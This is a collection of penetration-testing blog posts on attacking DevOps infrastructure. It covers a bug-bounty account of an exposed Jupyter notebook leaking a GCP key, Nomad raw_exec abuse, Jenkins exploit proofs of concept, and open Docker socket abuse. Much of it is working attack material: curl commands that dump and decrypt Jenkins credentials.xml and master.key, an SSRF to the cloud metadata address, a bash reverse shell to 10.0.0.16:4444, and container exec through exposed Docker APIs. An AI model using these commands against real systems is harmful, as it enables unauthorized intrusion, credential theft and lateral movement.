Categories
bugbounty devoops Intelwars Pentesting

What is your GCP infra worth?…about ~$700 [Bugbounty]

BugBounty story #bugbountytips

A fixed but they didn’t pay the bugbounty story…

Timeline:

  • reported 21 Oct 2019
  • validated at Critical  23 Oct 2019
  • validated as fixed 30 Oct 2019
  • Bounty amount stated (IDR 10.000.000 = ~700 USD) 12 Nov 2019
  • Information provided for payment 16 Nov 2019
  • 13 March 2020 – Never paid 

There are lots of applications that are SAAS – Shell as a Service. Jupyter Notebook is one of these with its running code feature as well as its terminal functionality.

While I was trolling shodan looking for vulnerable boxes i came across an open Jupyter notebook belonging to Tokopedia. This wasn’t obvious at first , but it will become clear how I identified this as you check out the screenshots.

Open Jupyter notebook server

I did a post on what do do when you find a GCP key in a previous post

This is especially important when people leave their GCP service account keys in folders

When you leave your service token in the folder for all to find/use

In this case it was base64 encoded – but easy to fix

service account token b64 decoded

It was also in the error output of one of the jupyter notebooks

I had used the terminal to do some basic poking around to find the owner


Once I identified it was owned by someone with a bug bounty program I figured it was ok to prove access and impact.

Per the GCP blog post once you have the service account token you authenticate and interact with services your token has access to

The handy thing about getting a shell on a GCP compute host is that all the GCP utils are installed and “just work” I actually didn’t need to do anything from an external host I was able to start ssh’ing to other hosts from within the jupyter terminal.

Bigquery tables o_0

[+] Bigquery access [+]
bq ls –format=prettyjson –project_id tokopedia-970

Along the way I searched who this company was.  https://en.wikipedia.org/wiki/Tokopedia
Most interestingly…

In 2017, Tokopedia received $1.1 billion investment from Chinese e-commerce giant Alibaba.[7] Again in 2018, the company secured $1.1 billion funding round led by Chinese e-commerce giant Alibaba Group Holding and Japan’s SoftBank Group[8] putting its valuation to about $7B.[9]

So being a good person ™ I reported the issue and it was assigned a critical severity. The fixed it super quickly and the team was decently responsive until it was fixed. After that it took 2 weeks to get information on the bounty, I promptly provided payment info, but I was never paid and they have stopped responding to my inquiries.

Solutions:
Run in a limited privilege container (doesn’t protect against cloud metadata attack)

New versions of Juypter notebook allow for password protecting access. Do that instead of open to all

Share
Categories
devoops DevOps Intelwars Pentesting

Devoops: Nomad with raw_exec enabled

“Nomad is a flexible container orchestration tool that enables an organization to easily deploy and manage any containerized or legacy application using a single, unified workflow. Nomad can run a diverse workload of Docker, non-containerized, microservice, and batch applications, and generally offers the following benefits to developers and operators…”

from: https://www.nomadproject.io/intro/index.html

To get a feel for where it fits in the HashiCorp ecosphere take a look at the following graphic:

I’d like to thank Will Butler for letting me write this up after watching him pwn it.

You can get a dev environment up and running using the tutorial here:
https://www.nomadproject.io/intro/getting-started/install.html

The walkthru has you run it as a dev environment which wont bind to 0.0.0.0 so you’ll need the following server and client files to get an appropriate environment up and running after you Vagrant up.

server: https://gist.github.com/carnal0wnage/ce4296137414bd16fcca0818208b39b7
client1: https://gist.github.com/carnal0wnage/4abde0ee31f4d730019e6fa04ef6d3b6
client2: https://gist.github.com/carnal0wnage/a4399019a943862e57283c29994ce5da

If you get everything up and running correctly you should be able to connect to the UI on port 4646 and see the example job

$ nomad job run example.nomad
==> Monitoring evaluation “ac9b4b08”
    Evaluation triggered by job “example”
    Evaluation within deployment: “8a7dfe0f”
    Allocation “57e65abe” created: node “a15034e5”, group “cache”
    Evaluation status changed: “pending” -> “complete”

==> Evaluation “ac9b4b08” finished with status “complete”

jobs in the nomad UI

servers in the nomad UI

clients in the nomad UI


Leveraging misconfiguration time. Nomad ships with a raw_exec option that is disabled by default.
the raw_exec option allow you to run a command outside isolation on the nomad host.  
“The raw_exec driver can run on all supported operating systems. For security reasons, it is disabled by default. To enable raw exec, the Nomad client configuration must explicitly enable the raw_exec driver in the client’s options:”

How can you see if the raw_exec module is enabled on the clients?

You can check it out it the UI:

or by hitting the API endpoint
Let’s exploit this thing.
We need to create a job hcl file with our commands. Here is gist with a simple one:

starting the service
Results of our job
job in the UI
Stopping the job
forcefully run the garbage collection

validation the job was deleted
OK let’s get a reverse shell. I used the following hcl file:
Reverse shell job
Shell from nomad
-CG

Info on locking nomad down via ACLs:
https://www.nomadproject.io/guides/security/acl.html

Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – CVE-2018-1000600 PoC

second exploit from the blog post

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF

https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915

This affects the GitHub plugin that is installed by default. However, I learned that when you spin up a new jenkins instance it pulls all the updated plugins (also by default) I’m honestly not sure how often people set update to latest plugin on by default but it does seem to knock down some of this stuff.


exploit works against: GitHub Plugin up to and including 1.29.1


When i installed Jenkins today (25 Feb 19) it installed 1.29.4 by default thus the below does NOT work.

From the blog post:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials 

It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)

Although it can’t extract any credentials without known credentials ID, there is still another attack primitive – a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

PoC:
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


To get old versions of the plugin and info you can go to  
https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin


download old versions

https://updates.jenkins.io/download/plugins/github-branch-source/
https://updates.jenkins.io/download/plugins/github/

Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – messing with exploits pt3 – CVE-2019-1003000

References:

https://www.exploit-db.com/exploits/46453
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

This post covers the Orange Tsai Jenkins pre-auth exploit

Vuln versions: Jenkins < 2.137 (preauth)

Pipeline: Declarative Plugin up to and including 1.3.4
Pipeline: Groovy Plugin up to and including 2.61
Script Security Plugin up to and including 1.49  (in CG’s testing 1.50 is also vuln)

The exploitdb link above lists a nice self contained exploit that will compile the jar for you and serve it up for retrieval by the vulnerable Jenkins server.




nc -l 8888 -vv

whoami
bash: no job control in this shell
 bash-3.2$ jenkins

After Jenkins 2.138 the preauth is gone but if you have  an overall read token and the plugins are still vulnerable you can still exploit that server.  You can just add your cookie to the script and it will hit the url with your authenticated cookie and you can still exploit the server.


Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – Identify IP Addresses of nodes

While doing some research I found several posts on stackoverflow asking how to identify the IP address of nodes.  You might want to know this if you read the decrypting credentials post and managed to get yourself some ssh keys for nodes but you cant actually see the node’s IP in the Jenkins UI.

Stackoverflow link: https://stackoverflow.com/questions/14930329/finding-ip-of-a-jenkins-node
blog on setting up a node: https://embeddedartistry.com/blog/2017/12/22/jenkins-configuring-a-linux-slave-node

 There are great answers in the stackoverflow post on using the script console but in the event you found yourself with just the Jenkins directory or no access to the script console it’s pretty easy to get this information.

You can just browse to jenkins-ip/computer/$nodename/config.xml. This request will require the extended read permission.


Optionally if you are on the box  or have a backup you can go to jenkins-dir/nodes/$nodename/config.xml




Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – decrypting credentials.xml

If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:

hashed_pw=’$PASSWORDHASH’

passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

You need to perform this on the the Jenkins system itself as it’s using the local master.key and hudson.util.Secret


Screenshot below


Code to get the credentials.xml from the script console


Windows

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = ‘cmd.exe /c type credentials.xml’.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println “out> $sout err> $serr”

*nix

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = ‘cat credentials.xml’.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println “out> $sout err> $serr”




If you just want to do it with curl you can hit the scriptText endpoint and do something like this:


Windows:

curl -u admin:admin http://10.0.0.160:8080/scriptText –data “script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run”

Also because this syntax took me a minute to figure out for files in subdirectories:


curl -u admin:admin http://10.0.0.160:8080/scriptText –data “script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run


*nix

curl -u admin:admin http://10.0.0.160:8080/scriptText –data “script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run”


Then to decrypt any passwords:


curl -u admin:admin http://10.0.0.160:8080/scriptText –data “script=println(hudson.util.Secret.fromString(‘7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=’).getPlainText())”




If you are in a position where you have the files but no access to jenkins you can use:
https://github.com/tweksteen/jenkins-decrypt

There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i’m just printing out the values and you can see the decrypted password. The change is line 55.

Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets…read the credentials.xml file 🙂

Edit 8 April 19: This tweet outlines another similar way  
https://twitter.com/netmux/status/1115237815590236160

Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – SECURITY-180/CVE-2015-1814 PoC

Forced API token change

SECURITY-180/CVE-2015-1814

https://jenkins.io/security/advisory/2015-03-23/#security-180cve-2015-1814-forced-api-token-change

Affected Versions

  • All Jenkins releases <= 1.605
  • All LTS releases <= 1.596.1

PoC
Tested against Jenkins 1.605


Burp output

Validate new token works

Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – SECURITY-200 / CVE-2015-5323 PoC

API tokens of other users available to admins


SECURITY-200 / CVE-2015-5323

API tokens of other users were exposed to admins by default. On instances that don’t implicitly grant RunScripts permission to admins, this allowed admins to run scripts with another user’s credentials.


Affected versions
All Jenkins main line releases up to and including 1.637

All Jenkins LTS releases up to and including 1.625.1

PoC
Tested against Jenkins 1.6.37


From the script console:
run some groovy code to get the token of another user

wrong token

correct token
Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins Master Post

A collection of posts on attacking Jenkins

http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html
Manipulating build steps to get RCE

https://medium.com/@uranium238/shodan-jenkins-to-get-rces-on-servers-6b6ec7c960e2

Using the terminal plugin to get RCE

https://sharadchhetri.com/2018/12/02/managing-jenkins-plugins/

Getting started with Jenkins Plugins

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

Vulns in

  • Pipeline: Declarative Plugin up to and including 1.3.4
  • Pipeline: Groovy Plugin up to and including 2.61
  • Script Security Plugin up to and including 1.49

Blog post says: This issue has been fixed in Jenkins version 2.121.1 LTS (2.132 weekly).

http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

CVE-2019-1003000 (https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266)

https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/Jenkins

https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
CVE-2015-8103 & CVE-2016-0792

https://github.com/nixawk/labs/tree/master/CVE-2017-1000353

https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
https://www.twistlock.com/2017/06/18/jenkins-java-deserialization/
CVE-2017-1000353 PoC

https://cloud.tencent.com/developer/article/1165414

https://github.com/anntsmart/CVE
CVE-2018-1999002 (windows) Arbitrary file read

A arbitrary file read vulnerability exists in Jenkins 2.132 and earlier, 2.121.1 and earlier in the Stapler web framework. Under Windows, directories that don’t exist can be traversed by ../, but not for Linux. Then this vulnerability can be read by any file under Windows. Under Linux, you need to have a directory with _ in the Jenkins plugins directory.


https://www.crowdstrike.com/blog/your-jenkins-belongs-to-us-now-abusing-continuous-integration-systems/

https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/
Decrypting credentials.xml 

https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/

Jenkins, windows, powershell

https://securitynews.sonicwall.com/xmlpost/jenkins-ci-server-at-risk-high-risk-vulnerbaility/

https://www.zdnet.com/article/thousands-of-jenkins-servers-will-let-anonymous-users-become-admins/
https://www.cyberark.com/threat-research-blog/tripping-the-jenkins-main-security-circuit-breaker-an-inside-look-at-two-jenkins-security-vulnerabilities/
CVE-2018-1999001 malformed request moves the config.xml file, after restart anyone can log in – couple it with a DoS (CVE-2018-1999043) to force restart 

  • Jenkins weekly up to and including 2.132
  • Jenkins LTS up to and including 2.121.1

CG Posts:

https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-new-exploits-pt1.html
Username enumeration Jenkins 2.137 and below

https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-200-cve-2015-5323-poc.html

Jenkins – SECURITY-200 / CVE-2015-5323 PoC (API tokens of other users available to admins)

https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-180cve-2015-1814-poc.html

Jenkins – SECURITY-180/CVE-2015-1814 PoC (Forced Token Change)

https://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html
Decrypting Jenkins credentials.xml 

https://carnal0wnage.attackresearch.com/2019/03/jenkins-cve-2018-1000600-poc.html
Jenkins – CVE-2018-1000600 SSRF in GitHub plugin

https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-exploits-pt2-cve.html

Jenkins – CVE-2019-1003000 Pt 1

https://carnal0wnage.attackresearch.com/2019/03/jenkins-messing-with-exploits-pt3-cve.html
Jenkins – CVE-2019-1003000 Pt 2 – Orange Tsai exploit

https://carnal0wnage.attackresearch.com/2019/03/jenkins-identify-ip-addresses-of-nodes.html
Jenkins – Identify IP Addresses of nodes

Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – messing with exploits pt2 – CVE-2019-1003000

After the release of Orange Tsai’s exploit for Jenkins. I’ve been doing some poking. PreAuth RCE against Jenkins is something everyone wants.

While not totally related to the blog post and tweet the following exploit came up while searching.

What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits.  TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed

Jenkins plugin manager
It does require admin permissions or you get this:
No permissions for Jenkins plugin manager

If you do have permissions you can also hit it with the jenkins-cli client and pull the info

$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

jsch                               JSch dependency plugin                                           0.1.55
structs                            Structs Plugin                                                   1.17
apache-httpcomponents-client-4-api Apache HttpComponents Client 4.x API Plugin                      4.5.5-3.0
mailer                             Mailer Plugin                                                    1.23
command-launcher                   Command Agent Launcher Plugin                                    1.3
workflow-api                       Pipeline: API                                                    2.33
workflow-job                       Pipeline: Job                                                    2.31
ssh-credentials                    SSH Credentials Plugin                                           1.14
authentication-tokens              Authentication Tokens API Plugin                                 1.3
workflow-cps-global-lib            Pipeline: Shared Groovy Libraries                                2.13
jackson2-api                       Jackson 2 API Plugin                                             2.9.8
pipeline-stage-tags-metadata       Pipeline: Stage Tags Metadata                                    1.3.4.1
pipeline-milestone-step            Pipeline: Milestone Step                                         1.3.1
credentials                        Credentials Plugin                                               2.1.18
lockable-resources                 Lockable Resources plugin                                        2.4
jquery-detached                    JavaScript GUI Lib: jQuery bundles (jQuery and jQuery UI) plugin 1.2.1
workflow-scm-step                  Pipeline: SCM Step                                               2.7
matrix-auth                        Matrix Authorization Strategy Plugin                             2.3
matrix-project                     Matrix Project Plugin                                            1.13
pipeline-stage-step                Pipeline: Stage Step                                             2.3
pipeline-build-step                Pipeline: Build Step                                             2.7
pipeline-input-step                Pipeline: Input Step                                             2.9
bouncycastle-api                   bouncycastle API Plugin                                          2.17
handlebars                         JavaScript GUI Lib: Handlebars bundle plugin                     1.1.1
momentjs                           JavaScript GUI Lib: Moment.js bundle plugin                      1.1.1
plain-credentials                  Plain Credentials Plugin                                         1.5
docker-commons                     Docker Commons Plugin                                            1.13
git-client                         Git client plugin                                                2.7.6
pipeline-rest-api                  Pipeline: REST API Plugin                                        2.10
workflow-basic-steps               Pipeline: Basic Steps                                            2.14
credentials-binding                Credentials Binding Plugin                                       1.17 (1.18)
pipeline-stage-view                Pipeline: Stage View Plugin                                      2.10
workflow-multibranch               Pipeline: Multibranch                                            2.20
script-security                    Script Security Plugin                                           1.49 (1.53)
git-server                         GIT server Plugin                                                1.7
workflow-step-api                  Pipeline: Step API                                               2.19
pipeline-graph-analysis            Pipeline Graph Analysis Plugin                                   1.9
pipeline-model-api                 Pipeline: Model API                                              1.3.4.1
workflow-cps                       Pipeline: Groovy                                                 2.61 (2.63)
branch-api                         Branch API Plugin                                                2.1.2
jdk-tool                           JDK Tool Plugin                                                  1.2
cloudbees-folder                   Folders Plugin                                                   6.7
durable-task                       Durable Task Plugin                                              1.29
junit                              JUnit Plugin                                                     1.27
scm-api                            SCM API Plugin                                                   2.3.0
ace-editor                         JavaScript GUI Lib: ACE Editor bundle plugin                     1.1
display-url-api                    Display URL API                                                  2.3.0
workflow-support                   Pipeline: Supporting APIs                                        3.2


AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress.  If you know how, please let me know.  For the time being i guess it’s just throwing things to see what sticks.

As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it’s a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

An exploit for the issue exists and is available here:  https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on.  What’s important about this particular exploit is that it IS post auth but it doesn’t require script permissions, only Overall/Read permission and Job/Configure permissions.

I’m seeing more and more servers/admins (rightfully) block access to the scriptscriptText console because it’s well documented that is an immediate RCE.

no script permission

I encourage you to read the whole readme file in the repo but the most important part is here:

A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50

This PoC is using a user with Overall/Read and Job/Configure permission to execute a maliciously modified build script in sandbox mode, and try to bypass the sandbox mode limitation in order to run arbitrary scripts (in this case, we will execute system command).

As a background, Jenkins’s pipeline build script is written in groovy. This build script will be compiled and executed in Jenkins master or node, containing definition of the pipeline, e.g. what to do in slave nodes. Jenkins also provide the script to be executed in sandbox mode. In sandbox mode, all dangerous functions are blacklisted, so regular user cannot do anything malicious to the Jenkins server.


Running the exploit:

 python2.7 exploit.py –url http://localhost:8080 –job my-pipeline –username user1 –password user1 –cmd “cat /etc/passwd”
[+] connecting to jenkins…
[+] crafting payload…
[+] modifying job with payload…
[+] putting job build to queue…
[+] waiting for job to build…
[+] restoring job…
[+] fetching output…
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline

Finished: SUCCESS

you can certainly pull a reverse shell from it as well.

python2.7 exploit.py –url http://localhost:8080 –job my-pipeline –username user1 –password user1 –cmd “bash -i >& /dev/tcp/10.0.0.16/4444 0>&1”
[+] connecting to jenkins…
[+] crafting payload…
[+] modifying job with payload…
[+] putting job build to queue…
[+] waiting for job to build…
[+] restoring job…
[+] fetching output…
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY

and you get:


nc -l 4444 -vv


bash: cannot set terminal process group (7): Not a tty

bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins

bash-4.4$


The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and  this exploit doesn’t require using the script console.

Share
Categories
DevOps Intelwars jenkins Pentesting

Jenkins – messing with new exploits pt1

Jenkins notes for:
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

to download old jenkins WAR files


http://updates.jenkins-ci.org/download/war/


1st bug in the blog is a username enumeration bug in

  • Jenkins weekly up to and including 2.145
  • Jenkins LTS up to and including 2.138.1

From the blog:

Pre-auth User Information Leakage
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful!Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins! 

PoC:
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]


/securityRealm/user/admin/search/index?q=a


/securityRealm/user/admin/search/index?q=c

ALERT

Even though the advisory says 2.138_1 i tested against 2.138 and the exploit doesn’t work.



SOOOOO you are looking for Jenkins <= 2.137

If jenkins is really old the above should work and also https://nvd.nist.gov/vuln/detail/CVE-2017-1000395 where you can get the email address via similar query.
  • versions up to (including) 2.73.1
  • versions up to (including) 2.83


PoC:

http://jenkins.local/securityRealm/user/admin/api/xml

with 2.137 you can get username/id

/securityRealm/user/cg/api/xml



Share
Categories
devoops DevOps docker hacking Intelwars Pentesting

Abusing Docker API | Socket

Notes on abusing open Docker sockets

This wont cover breaking out of docker containers

Ports: usually 2375 & 2376 but can be anything

Refs:

https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0
https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way
https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html
https://infoslack.com/devops/exploring-docker-remote-api
https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/
https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
https://www.exploit-db.com/exploits/42356
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb
http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html
https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/
https://blog.ropnop.com/plundering-docker-images/


Enable docker socket (Create practice locations)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

Having the docker API | socket exposed is essentially granting root to any of the containers on the system

The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.

The docker socket  is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.

All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we’d do the below:

Create a nginx container

The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.

$ curl -XPOST –unix-socket /var/run/docker.sock -d ‘{“Image”:”nginx”}’ -H ‘Content-Type: application/json’ http://localhost/containers/create

{“Id”:”fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65″,”Warnings”:null}

Start the container

 $ curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

As mentioned above you can also have the docker socket listen on a TCP port

You can validate it’s docker by hitting it with a version request

 $ curl -s http://open.docker.socket:2375/version | jq

{

  “Version”: “1.13.1”,
  “ApiVersion”: “1.26”,
  “MinAPIVersion”: “1.12”,
  “GitCommit”: “07f3374/1.13.1”,
  “GoVersion”: “go1.9.4”,
  “Os”: “linux”,
  “Arch”: “amd64”,
  “KernelVersion”: “3.10.0-514.26.2.el7.x86_64”,
  “BuildTime”: “2018-12-07T16:13:51.683697055+00:00”,
  “PkgVersion”: “docker-1.13.1-88.git07f3374.el7.centos.x86_64”
}

 or with the docker client

docker -H  open.docker.socket:2375 version

 Server:

 Engine:
  Version:          1.13.1
  API version:      1.26 (minimum version 1.12)
  Go version:       go1.9.4
  Git commit:       07f3374/1.13.1
  Built:            Fri Dec  7 16:13:51 2018
  OS/Arch:          linux/amd64
  Experimental:     false


This is basically a shell into the container

Get a list of running containers with the ps command

docker -H  open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                               COMMAND                  CREATED             STATUS              PORTS                                           NAMES

72cd30d28e5c        gogs/gogs                                           “/app/gogs/docker/st…”   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp   gogs
b522a9034b30        jdk1.8                                              “/bin/bash”              5 days ago          Up 5 days                                                           myjdk8
0f5947860c17        centos/mysql-57-centos7                             “container-entrypoin…”   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                          mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT   “java -jar /app.jar”     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                        config
3f466b754971        42cb59080921                                        “/bin/bash”              8 days ago          Up 8 days                                                           jdk8
6499013fdc2d        registry                                            “/entrypoint.sh /etc…”   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                          registry


Exec into one of the containers

docker -H  open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami

mysql


Other commands

Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a

What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images


I’ve frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API.  The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.


Using curl to hit the API

Sometimes you’ll see 2376 up for the TLS endpoint.  I haven’t been able to connect to it with the docker client but you can with curl no problem to hit the docker API.


Docker socket to metadata URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec


Below is an example of hitting the internal AWS metadata URL and getting the output

list containers:

curl –insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    “Id”: “f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668”,
    “Names”: [
      “/docker_snip_1”
    ],
    “Image”: “dotnetify”,
    “ImageID”: “sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca”,
    “Command”: “cmd /S /C ‘dotnet netify-temp.dll'”,
    “Created”: 1541018555,
    “Ports”: [
      {
        “IP”: “0.0.0.0”,
        “PrivatePort”: 443,
        “PublicPort”: 50278,
—SNIP—


List processes in a container:

curl –insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq

 {
  “Processes”: [
    [
      “smss.exe”,
      “7868”,
      “00:00:00.062”,
      “225.3kB”
    ],
    [
      “csrss.exe”,
      “10980”,
      “00:00:00.859”,
      “421.9kB”
    ],
    [
      “wininit.exe”,
      “10536”,
      “00:00:00.078”,
      “606.2kB”
    ],
    [
      “services.exe”,
      “10768”,
      “00:00:00.687”,
      “1.208MB”
    ],
    [
      “lsass.exe”,
      “10416”,
      “00:00:36.000”,
